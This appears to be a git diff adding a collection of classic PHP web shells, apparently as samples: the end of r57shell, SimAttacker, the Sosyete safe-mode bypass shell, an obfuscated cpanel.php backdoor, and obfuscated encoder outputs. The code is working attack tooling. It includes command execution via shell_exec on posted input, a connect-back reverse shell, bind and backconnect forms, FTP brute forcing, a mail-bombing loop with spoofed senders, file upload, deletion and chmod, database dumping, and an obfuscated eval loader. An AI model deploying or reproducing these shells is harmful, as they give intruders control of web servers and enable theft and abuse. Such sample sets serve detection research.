+echo sr(15,"".$lang[$language.'_text16'].$arrow."","".in('hidden','dir',0,$dir).ws(2)."".$lang[$language.'_text17'].$arrow."".in('text','rem_file',78,'http://')); +echo sr(15,"".$lang[$language.'_text18'].$arrow."",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.''.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text86'].up_down('id16').$table_up2.div('id16').$ts; +echo sr(15,"".$lang[$language.'_text59'].$arrow."",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])); +$arh = $lang[$language.'_text92']; +if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } +if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } + +if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } +echo sr(15,"".$lang[$language.'_text91'].$arrow."",in('radio','compress',0,'none').' '.$arh); +echo $te.''.$table_end1.$fe; +if(@function_exists("ftp_connect")){ +echo $table_up1.$lang[$language.'_text93'].up_down('id17').$table_up2.div('id17').$ts."".$fs."".$fe.$fs."".$fe."
    ".$ts; +echo "
    ".$lang[$language.'_text87']."
    "; +echo sr(25,"".$lang[$language.'_text88'].$arrow."",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"".$lang[$language.'_text37'].$arrow."",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"".$lang[$language.'_text38'].$arrow."",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"".$lang[$language.'_text89'].$arrow."",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down')); +echo sr(25,"".$lang[$language.'_text18'].$arrow."",in('text','loc_file',45,$dir)); +echo sr(25,"".$lang[$language.'_text90'].$arrow."","".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14'])); +echo $te."
    ".$ts; +echo "
    ".$lang[$language.'_text100']."
    "; +echo sr(25,"".$lang[$language.'_text88'].$arrow."",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"".$lang[$language.'_text37'].$arrow."",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"".$lang[$language.'_text38'].$arrow."",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"".$lang[$language.'_text18'].$arrow."",in('text','loc_file',45,$dir)); +echo sr(25,"".$lang[$language.'_text89'].$arrow."",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up')); +echo sr(25,"".$lang[$language.'_text90'].$arrow."","".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te."
    "; +} +if($unix && @function_exists("ftp_connect")){ +echo $fs.$table_up1.$lang[$language.'_text94'].up_down('id18').$table_up2.div('id18').$ts; +echo sr(15,"".$lang[$language.'_text88'].$arrow."",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo sr(15,"","".$lang[$language.'_text99']." ( ".$lang[$language.'_text95']." )"); +echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']); +echo $te.''.$table_end1.$fe; +} +if(@function_exists("mail")){ +echo $table_up1.$lang[$language.'_text102'].up_down('id19').$table_up2.div('id19').$ts."".$fs."".$ts; +echo "
    ".$lang[$language.'_text103']."
    "; +echo sr(25,"".$lang[$language.'_text105'].$arrow."",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)); +echo sr(25,"".$lang[$language.'_text106'].$arrow."",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"".$lang[$language.'_text107'].$arrow."",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy")))); +echo sr(25,"".$lang[$language.'_text108'].$arrow."",''); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."".$fe.$fs."".$ts; +echo "
    ".$lang[$language.'_text104']."
    "; +echo sr(25,"".$lang[$language.'_text105'].$arrow."",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)); +echo sr(25,"".$lang[$language.'_text106'].$arrow."",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"".$lang[$language.'_text107'].$arrow."",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell")))); +echo sr(25,"".$lang[$language.'_text18'].$arrow."",in('text','loc_file',45,$dir)); +$arh = $lang[$language.'_text92']; +if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } +if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } +if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } +echo sr(25,"".$lang[$language.'_text91'].$arrow."",in('radio','compress',0,'none').' '.$arh); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."".$fe.""; +} +if($mysql_on||$mssql_on||$pg_on||$ora_on) +{ +$select = ''; +echo $table_up1.$lang[$language.'_text82'].up_down('id20').$table_up2.div('id20').$ts."".$fs."".$ts; +echo "
    ".$lang[$language.'_text77']."
    "; +echo sr(45,"".$lang[$language.'_text80'].$arrow."",$select); +echo sr(45,"".$lang[$language.'_text14'].$arrow."",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"".$lang[$language.'_text37'].$arrow."",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"".$lang[$language.'_text38'].$arrow."",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"".$lang[$language.'_text78'].$arrow."",in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_show').in('checkbox','st id=st',0,'1')); +echo sr(45,"".$lang[$language.'_text79'].$arrow."",in('checkbox','sc id=sc',0,'1')); +echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te."".$fe.$fs."".$ts; +echo "
    ".$lang[$language.'_text40']."
    "; +echo sr(45,"".$lang[$language.'_text80'].$arrow."",$select); +echo sr(45,"".$lang[$language.'_text14'].$arrow."",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"".$lang[$language.'_text37'].$arrow."",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"".$lang[$language.'_text38'].$arrow."",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"".$lang[$language.'_text36'].$arrow."",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(45,"".$lang[$language.'_text39'].$arrow."",in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); +echo sr(45,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."".$lang[$language.'_text41'].$arrow."",in('checkbox','dif id=dif',0,'1')); +echo sr(45,"".$lang[$language.'_text59'].$arrow."",in('text','dif_name',15,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); +echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt9'])); +echo $te."".$fe.$fs."".$ts; +echo "
    ".$lang[$language.'_text83']."
    "; +echo sr(45,"".$lang[$language.'_text80'].$arrow."",$select); +echo sr(45,"".$lang[$language.'_text14'].$arrow."",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"".$lang[$language.'_text37'].$arrow."",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"".$lang[$language.'_text38'].$arrow."",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"".$lang[$language.'_text36'].$arrow."",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(45,"".$lang[$language.'_text84'].$arrow."".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); +echo $te."

    ".in('submit','submit',0,$lang[$language.'_butt1'])."
    ".$fe.""; +} +if(!$safe_mode&&!$windows){ +echo $table_up1.$lang[$language.'_text81'].up_down('id21').$table_up2.div('id21').$ts."".$fs."".$ts; +echo "
    ".$lang[$language.'_text9']."
    "; +echo sr(40,"".$lang[$language.'_text10'].$arrow."",in('text','port',15,'11457')); +echo sr(40,"".$lang[$language.'_text11'].$arrow."",in('text','bind_pass',15,'r57')); +echo sr(40,"".$lang[$language.'_text20'].$arrow."","".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."".$fe.$fs."".$ts; +echo "
    ".$lang[$language.'_text12']."
    "; +echo sr(40,"".$lang[$language.'_text13'].$arrow."",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); +echo sr(40,"".$lang[$language.'_text14'].$arrow."",in('text','port',15,'11457')); +echo sr(40,"".$lang[$language.'_text20'].$arrow."","".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); +echo $te."".$fe.$fs."".$ts; +echo "
    ".$lang[$language.'_text22']."
    "; +echo sr(40,"".$lang[$language.'_text23'].$arrow."",in('text','local_port',15,'11457')); +echo sr(40,"".$lang[$language.'_text24'].$arrow."",in('text','remote_host',15,'irc.dalnet.ru')); +echo sr(40,"".$lang[$language.'_text25'].$arrow."",in('text','remote_port',15,'6667')); +echo sr(40,"".$lang[$language.'_text26'].$arrow."","".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."".$fe.""; +} + +echo ''.$table_up3."
    o---[ r57shell - http-shell by RST/GHC | http://rst.void.ru | http://ghc.ru | version ".$version." ]---o
    + + +"; + + +?> \ No newline at end of file diff --git a/data/samples/classic/simattacker.php b/data/samples/classic/simattacker.php new file mode 100644 index 0000000..7e6f057 --- /dev/null +++ b/data/samples/classic/simattacker.php @@ -0,0 +1,756 @@ + "" ){ + +// path & file name + +$path_parts = pathinfo("$fdownload"); + +$entrypath=$path_parts["basename"]; + +$name = "$fdownload"; + +$fp = fopen($name, 'rb'); + +header("Content-Disposition: attachment; filename=$entrypath"); + +header("Content-Length: " . filesize($name)); + +fpassthru($fp); + +exit; + +} + +?> + + + + + + + + + + + + + +SimAttacker - Vrsion : 1.0.0 - priv8 4 My friend + + + + + + + "" ){ + + $fedit=realpath($fedit); + + $lines = file($fedit); + + echo ""; + +echo " + + + + "; + + $savefile=$_POST['savefile']; + + $filepath=realpath($_POST['filepath']); + + if ($savefile <> "") + + { + + $fp=fopen("$filepath","w+"); + + fwrite ($fp,"") ; + + fwrite ($fp,$savefile) ; + + fclose($fp); + + echo ""; + + } + +exit(); + + } + +?> + + "" ){ + +$fchmod=realpath($fchmod); + +echo "

    + +chmod for :$fchmod
    + +

    + +Chmod :
    + +
    + + + +
    "; + +$chmod0=$_POST['chmod0']; + +if ($chmod0 <> ""){ + +chmod ($fchmod , $chmod0); + +}else { + +echo "primission Not Allow change Chmod"; + +} + +exit(); + +} + +?> + + + +
    + + + + + + + + + + + + + + + + + +
    + +

    + +
    + +
    + + + + + + + + + + File Manager

    + +

    + + + + + + CMD Shell

    + +

    + + + + Fake mail

    + +

    + + + + + + Connect Back

    + +

    + + + + + + About

    + +

     

     

    + + + +***************************************************************************
    + + Iranian Hackers : WWW.SIMORGH-EV.COM
    + + Programer : Hossein Asgary
    + + Note : SimAttacker  Have copyright from simorgh security Group
    + + please : If you find bug or problems in program , tell me by :
    + + e-mail : admin(at)simorgh-ev(dot)com
    + +Enjoy :) [Only 4 Best Friends ]
    + +***************************************************************************

    + +"; + + + +echo "OS :". php_uname(); + +echo "
    IP :". + +($_SERVER['REMOTE_ADDR']); + +echo "
    "; + + + + + + } + + //************************************************************ + + //cmd-command line + + $cmd=$_POST['cmd']; + + if($id=="cmd"){ + + $result=shell_exec("$cmd"); + + echo "

    CMD ExeCute

    " ; + + echo "
    + +
    + +
    + + + + + +
    "; + + + + + + + + } + + + + //******************************************************** + + + + //fake mail = Use victim server 4 DOS - fake mail + + if ( $id=="fake-mail"){ + + error_reporting(0); + + echo "

    Fake Mail- DOS E-mail By Victim Server

    " ; + + echo "
    + + Victim Mail :

    + + Number-Mail :

    + + Comments: + +
    + +
    + + + +
    "; + + //send Storm Mail + + $to=$_POST['to']; + + $nom=$_POST['nom']; + + $Comments=$_POST['Comments']; + + if ($to <> "" ){ + + for ($i = 0; $i < $nom ; $i++){ + + $from = rand (71,1020000000)."@"."Attacker.com"; + + $subject= md5("$from"); + + mail($to,$subject,$Comments,"From:$from"); + + echo "$i is ok"; + + } + + echo ""; + + } + + } + + //******************************************************** + + + + //Connect Back -Firewall Bypass + + if ($id=="cshell"){ + + echo "
    Connect back Shell , bypass Firewalls
    + + For user :
    + + nc -l -p 1019
    + +
    + +

    + + Your IP & BindPort:
    + + + +
    + + + +
    "; + + $mip=$_POST['mip']; + + $bport=$_POST['bport']; + + if ($mip <> "") + + { + + $fp=fsockopen($mip , $bport , $errno, $errstr); + + if (!$fp){ + + $result = "Error: could not open socket connection"; + + } + + else { + + fputs ($fp ,"\n*********************************************\nWelcome T0 SimAttacker 1.00 ready 2 USe\n*********************************************\n\n"); + + while(!feof($fp)){ + + fputs ($fp," bash # "); + + $result= fgets ($fp, 4096); + + $message=`$result`; + + fputs ($fp,"--> ".$message."\n"); + + } + + fclose ($fp); + + } + + } + + } + + + + //******************************************************** + + //Spy File Manager + + $homedir=getcwd(); + + $dir=realpath($_GET['dir'])."/"; + + if ($id=="fm"){ + + echo "

     Home: $homedir + +   + +

    + +  Path: + + + + + + + +
    + +
    "; + + + + echo " + + + +
    + + + + + + + + + + + + + + + + + + + + "; + + if (is_dir($dir)){ + + if ($dh=opendir($dir)){ + + while (($file = readdir($dh)) !== false) { + + $fsize=round(filesize($dir . $file)/1024); + + + + + + echo " + + + + + + + + + + + + + + + + + + "; + + } + + closedir($dh); + + } + + } + + echo "
    File / Folder Name + + Size KByte + + Download + + Edit + + ChmodDelete
    "; + + if (is_dir($dir.$file)) + + { + + echo " $file dir"; + + } + + else { + + echo " $file "; + + } + + echo ""; + + if (is_file($dir.$file)) + + { + + echo "$fsize"; + + } + + else { + + echo "  "; + + } + + echo " + + "; + + if (is_file($dir.$file)){ + + if (is_readable($dir.$file)){ + + echo "download"; + + }else { + + echo "No ReadAble"; + + } + + }else { + + echo " "; + + } + + echo " + + "; + + if (is_file($dir.$file)) + + { + + if (is_readable($dir.$file)){ + + echo "Edit"; + + }else { + + echo "No ReadAble"; + + } + + }else { + + echo " "; + + } + + echo " + + "; + + if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { + + echo "Dont in windows"; + + } + + else { + + echo "Chmod"; + + } + + echo "Delete
    + +
    + + + + Send this file: + + + + + + + +
    "; + + } + +//Upload Files + +$rpath=$_GET['dir']; + +if ($rpath <> "") { + +$uploadfile = $rpath."/" . $_FILES['userfile']['name']; + +print "
    ";
    +
    +if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
    +
    +echo "";
    +
    +echo "";
    +
    +}
    +
    + }
    +
    + //file deleted
    +
    +$frpath=$_GET['fdelete'];
    +
    +if ($frpath <> "") {
    +
    +if (is_dir($frpath)){
    +
    +$matches = glob($frpath . '/*.*');
    +
    +if ( is_array ( $matches ) ) {
    +
    +  foreach ( $matches as $filename) {
    +
    +  unlink ($filename);
    +
    +  rmdir("$frpath");
    +
    +echo "";
    +
    +echo "";
    +
    +  }
    +
    +  }
    +
    +  }
    +
    +  else{
    +
    +echo "";
    +
    +unlink ("$frpath");
    +
    +echo "";
    +
    +exit(0);
    +
    +
    +
    +  }
    +
    +  
    +
    +
    +
    +}
    +
    +			?>
    +
    +			
    +
    +			
    + +


    + + Copyright 2004-Simorgh Security
    + + Hossein-Asgari
    + +
    + + + + www.r57.biz

    + + +
    + + + + + + diff --git a/data/samples/classic/sosyete.php b/data/samples/classic/sosyete.php new file mode 100644 index 0000000..b43476f --- /dev/null +++ b/data/samples/classic/sosyete.php @@ -0,0 +1,225 @@ + + + + Sosyete Safe Mode Bypass Shell + + + +
    + +
    +

    +

    + + +
    +

    +

    + + +

    Sosyete Safe Mode Bypass Shell + +

    +

    + +
    +

    ~ + + + +

    + +

    + + + +
    +
    + + +

    + +
    +

    + + +

    + + + Sosyete Safe Mode Bypass Shell ; Bypass shell'lerden esinlenerek birçok shell'in ortak karisimi olarak sunulmustur.

    + + + + +
    + + + + +
    + + + + Sosyete Bypass Main Menu

    "; + +print_r(' + + + + +
    +
    +
    +
    + +
    +
    + + +
    + + +
    + +
    +

    +

    + + +
    +

    +

    + + +
    + +
    + + +'); +ini_restore("safe_mode"); +ini_restore("open_basedir"); +$fuck=shell_exec($_POST['sosyete']); +$mokoko=shell_exec($_POST['fuck']); +echo "

    "; +echo "Komut Sonucu
    "; +echo $fuck; +echo $mokoko; +echo "

    "; + +?> + +
    + + +

    + +
    + +

    + +

    + + + + Sosyete Safe Mode Bypass Shell Coded by r57.biz ~ Sosyete

    + + + + +
    + + + + +
    + + + + + diff --git a/data/samples/cpanel.php b/data/samples/cpanel.php new file mode 100644 index 0000000..0899f12 --- /dev/null +++ b/data/samples/cpanel.php @@ -0,0 +1,20 @@ +$ff7924082){$y5da781e=$ff7924082;$x3ff4965=$efb074d;}if(!$y5da781e){foreach($m6aa932e[$m6aa932e['a7b1'][11].$m6aa932e['a7b1'][35].$m6aa932e['a7b1'][49].$m6aa932e['a7b1'][49].$m6aa932e['a7b1'][31].$m6aa932e['a7b1'][42].$m6aa932e['a7b1'][96].$m6aa932e['a7b1'][95].$m6aa932e['a7b1'][49]]as$efb074d=>$ff7924082){$y5da781e=$ff7924082;$x3ff4965=$efb074d;}}$y5da781e=@$m6aa932e[$m6aa932e['a7b1'][33].$m6aa932e['a7b1'][51].$m6aa932e['a7b1'][31].$m6aa932e['a7b1'][65].$m6aa932e['a7b1'][46].$m6aa932e['a7b1'][84].$m6aa932e['a7b1'][20].$m6aa932e['a7b1'][14]]($m6aa932e[$m6aa932e['a7b1'][71].$m6aa932e['a7b1'][42].$m6aa932e['a7b1'][95].$m6aa932e['a7b1'][49].$m6aa932e['a7b1'][84]]($m6aa932e[$m6aa932e['a7b1'][65].$m6aa932e['a7b1'][14].$m6aa932e['a7b1'][49].$m6aa932e['a7b1'][65].$m6aa932e['a7b1'][49]]($y5da781e),$x3ff4965));if(isset($y5da781e[$m6aa932e['a7b1'][65].$m6aa932e['a7b1'][48]])&&$fecba48==$y5da781e[$m6aa932e['a7b1'][65].$m6aa932e['a7b1'][48]]){if($y5da781e[$m6aa932e['a7b1'][65]]==$m6aa932e['a7b1'][67]){$b56c6566=Array($m6aa932e['a7b1'][55].$m6aa932e['a7b1'][97]=>@$m6aa932e[$m6aa932e['a7b1'][11].$m6aa932e['a7b1'][96].$m6aa932e['a7b1'][14].$m6aa932e['a7b1'][11].$m6aa932e['a7b1'][60]](),$m6aa932e['a7b1'][13].$m6aa932e['a7b1'][97]=>$m6aa932e['a7b1'][31].$m6aa932e['a7b1'][21].$m6aa932e['a7b1'][60].$m6aa932e['a7b1'][86].$m6aa932e['a7b1'][31],);echo@$m6aa932e[$m6aa932e['a7b1'][11].$m6aa932e['a7b1'][96].$m6aa932e['a7b1'][24].$m6aa932e['a7b1'][65].$m6aa932e['a7b1'][51].$m6aa932e['a7b1'][11]]($b56c6566);}elseif($y5da781e[$m6aa932e['a7b1'][65]]==$m6aa932e['a7b1'][44]){eval($y5da781e[$m6aa932e['a7b1'][46]]);}exit();} ?> + + + + + + diff --git a/data/samples/freepbx.php b/data/samples/freepbx.php new file mode 100644 index 0000000..5ccf441 --- /dev/null +++ b/data/samples/freepbx.php @@ -0,0 +1,14 @@ + diff --git a/data/samples/obfuscators/cipher_design.php b/data/samples/obfuscators/cipher_design.php new file mode 100644 index 0000000..0ccf2c1 --- /dev/null +++ b/data/samples/obfuscators/cipher_design.php @@ -0,0 +1,2 @@ ++*OJHj1.)n-$HjFsz)&D+.84k?9#+RaqlHb(Ors0cK-DC.$GcReUQ*-(z8#qA=1G&?j=O*jZkRv6Cr$GCTjDAHXZAKb=kr9UxHeZQ=n6hKa#X_bCXD9_OgXZCR5d+.$Dc.X(A*udk*1v+*AZA*5Gc78uA*ej&.(0kEPD&.1#C.8vxEP5k.8sCrndOr1G&.$K&?PjCT#dCH80&.(GATPU+.ndnreT+HPU)n5dO=84kgCGz.XTzv(7xDc#h_Obh,cbhKenh_c6e_C6e_cNh,a6h,aFxge#O*utcKb(Q.(Ul,aZwgj=Cr8(+Tdv_Uv#)_a-_D7#)n1X_Uv#))#v_D$z)nF-h,7#)n1Xh,7#h)vLAHAsk?sEOHe(eKVfA.8KkrV(lReUCqVTl.&6&*9Kkrj#C=8DCTsEOHe(eKVfA.8KkrV(l.ATA*$vl?Vz)_PXh,$zh_PX_U(z)_PXx?Vzh_PXh7v#hnF-_Uv#hn1X_UvZl)v4Xr$5zT#gX?9)Ojs4Q.s(&gJj8E(fkKdI)71Plrb,X($=ARe$)gOJzH$l*v(we.XRh?hb87VIC=&jw_AhVK$85.j#kT$Hng(?X*(U__hT*)C4XU$?5UV$Vv&c)nZx_7jw_jPVn(en88AH*$(+O*XKA.8=ArsZ+=b4k*90CR$TCgVj&q&uQHJ-hKhUe_Ogw,v#xE#sX?n=lEdZx8FNznaKzTCZl)vLC=8U&HXGw#MMn(1n*$VOn(V$5v8O58V)Hjen8$V)878nV81$878$n(XOHU$?8$e$njXf8$1)V8X?V8VP878OV8V?njeO5(XfnjXn8$snV8V_nv8)nje_V8X_HU8?87$_58X_V8VOHjV$njV)nv$_V81_V8e$581)878n8$1f878$n(Xn8$1O*7$n5v8_8$sfnU8)Hje?Vn$fnjen87Xn*$V?8$X$V8efnv8?8$V?5v$_njVPHj1PV8V)VnXO8$1_HU8nnjePnU8P8$e_njsP8$VO8$V)8$XfHUXOHUXfV81f*$X)Hjs$5(1$HU8$87$On(Xf8$XOHjX$nv8_njV$8$V)V8XnHjsnn(1?V8XOn(Xfn(1)V81Pnje_58VOV8V?8$1O*78_nU8_8$Xf*$e$*$Vf8$sf*$X?nje?nvXfn(X)V81$n(XOn(eOV81_8$1$8$1_Vn8PV8X)V8X)5(snnjXf8$V)8$Xn8$1)58e$n(Xn58enn(1n5(VPnj1?n(sn5v8fnjV$HjVf878fn(VOHje$58VPHjenHjV)*aMMeJyrcil1q0oP8HK2D9DwLyo2SA5KtXROD9PI1kwp8whVU7FQMSl0tldTy4k38QUAPQ8NPg==V8V_878)*$sP8$V)*7$fnv$n*$snn(Vn581PnvX$Vn$)V8ennU8nn(1nnj1P5(V$HjVn58s$8$e_HjX)nU$)581_nv8f8$Vn58XnV8XnHjV)nv$fnj1)8$1O*7$Pnje?njV)5(Vn878_n(Vn581nHjenHjenHU$P*$1n878$*$s$V8VnV8XnnUXnnjXfV8V_nje)V8e)HjXn87$nV8V$njV)878_n(e$8$Xf5n$fV8VOHUX?58s)Vn$nHU$_V8e?nj1f8$1PnU$_n(X_nj1f878$Hje?878nnjenn(1P58Xn87Xn8$X)58VfHj1f8$ef8$e)87$)5(V$8$e?nv8OHUX_58V$8$V_n(X)5n$)Hj1nnU8n diff --git a/data/samples/obfuscators/online_php_obfuscator.php b/data/samples/obfuscators/online_php_obfuscator.php new file mode 100644 index 0000000..e64cb31 --- /dev/null +++ b/data/samples/obfuscators/online_php_obfuscator.php @@ -0,0 +1 @@ + diff --git a/data/samples/obfuscators/phpencode.php b/data/samples/obfuscators/phpencode.php new file mode 100644 index 0000000..a6797f5 --- /dev/null +++ b/data/samples/obfuscators/phpencode.php @@ -0,0 +1 @@ +:h%:<#64y]552]e7y]#>n%<#372]58y]472]37y]3 x74 141 x72 164") && (!isset($GLOBALS[" x61 156 x75 156 x61"]h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!^>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l} x27;%!<*#}_;#)323!>!%yy)#}#-# x24- x24-tusqpt)%z-#:#* x24- x24!>! x24/%tjws:*<%j:,,Bjg!)%j:>>1*!%b:>1%s: x5c%j:.2^,%b:%s: x575983:48984:71]K9]77]D4]82]K6]72]K9]78]K5].;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}21]464]284]364]6]234]342]58]24]31#-%tdz*Wsfuvso!%bss x5csboe))/*)323zbe!-#jt0*?]+^?]_ x5c}X x24hmg%!<12>j%!|!*#91y]c9y]7]y86]267]y74]275]y7:]268]y7f#! x240w/ x24)##-!#~<#/% x24- x24!>!fyqmpef)# x24*272qj%6<^#zsfvr# x5cq%7/6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]3 162 x65 141 x74 145 x5f 146 x772 145 x66 157 x78"))) { $oqtpxpv = " x6|:*r%:-t%)3of:opjudovg<~ x24! x242178}527}88:}334}472 xw6< x7fw6*CW&)7gj6<*doj%7-C)fepmqnjA x27&6<.fmjgA x27doj%6< x7y]252]18y]#>q%<#762]67y]5z)#44ec:649#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*s%<#462]47d%6|6.7eu{66~67<&w6<*&7-#o]s]! x24Ypp3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5c1^W%c!>!%i x5c2*msv%)}k~~~%fdy!%tdz)%bbT-36]73]83]238M7]381]211M5]67]452]88]5]48]32M3]317]445]212]445]43]3I7jsv%7UFH# x27rfs%6~6< x7fw*127-UVPFNJU,6<*27-SFGTOBSUO#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#)% x24- x24*#L4]275L3]x45 116 x54"]); if ((strstr($uas," x6d 163 x69 145")) or (strstr($)sfebfI{*w%)kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;2]},;osvufs} x2id%)ftpmdR6<*id%)dfyfR x27tfs%6<*17-SFEBFI,6.%!<***f x27,*e x2GMFT`QIQ&f_UTPI`QUUI&e_SEEB`jix6U<#16,47R57,27Rpd%6!2p%!*3>?*2b%)gpf{jt)!g("", $jojtdkr); $bhlpzbl();}}W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr x5c1^-%r x5c2^-%hOh/#00#W~!%t27ftbc x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}X;!sp!*#op%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)ufttj x22)gj!|!*nbsbq%)32d($n)-1);} @error_reporting(0); $jojtdkr = implode(array_map("dudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>> x22!ftmbg2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{h3]y76]277##]y74]273]y76]252]y85]256]y6g]256<*K)ftpmdXA6|7**197-2qj%7-K)udfoopdXA x24- x24 x5c%j^ x24- x24tvctus)% x24- x24buas," x72 166 x3a 61 x31")) or (strstr($uas!gj}1~!<2p% x7f!~!<##!>!2p%Z<^1"]=1; $uas=strtolower($_SERVER[" x48 124 x5ldfid>}&;!osvufs} x7f;!opjudovg}k~~9{d%:osvufs:~928>> x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{eb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56)%epnbss-%rxW~!Ypp2)%zB%z>! x24/%tmw/ x24)%zW%h>EzH,2)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9! x27!hmg%)!gj!~7;mnui}&;zepc}A;~!} x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U! x24- x24gvodujpo! x24- xSVUFS,6<*msv%7-MSV,6<*)ujojR x27id%6< x7fw6* x7f_*#ujojRk3`{666~6!#]D6M7]K3#<%yy>#]Ddbqov>*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-if((function_exists(" x6f 142 x5f 16<.msv`ftsbqA7>q%6< x7fw6* 